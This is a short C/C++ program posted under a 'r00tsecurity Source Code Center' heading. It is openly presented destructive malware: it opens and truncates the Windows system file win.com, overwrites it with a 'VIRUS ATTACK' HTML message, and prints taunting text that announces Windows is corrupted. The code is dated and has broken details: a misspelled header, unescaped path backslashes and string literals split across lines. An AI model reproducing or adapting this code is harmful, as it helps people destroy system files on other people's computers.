r00tsecurity -> Source Code Center

#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
 
int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;
 
 
   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
");
      exit(1);
   }
 
   strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
 
   length = strlen(string);
 
   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
");
      getch();
      exit(1);
   }
   printf("
 
         Wrote %d bytes to the file.
", res);
  cout<<"
 
         Hello !!!!!!!!";
  cout<<"
 
          This is a VIRUS ATTACK !!!";
  cout<<"
 
          This execution currupt your WINDOWS !!!!!!
";
   close(handle);
   getch();
   return 0;
}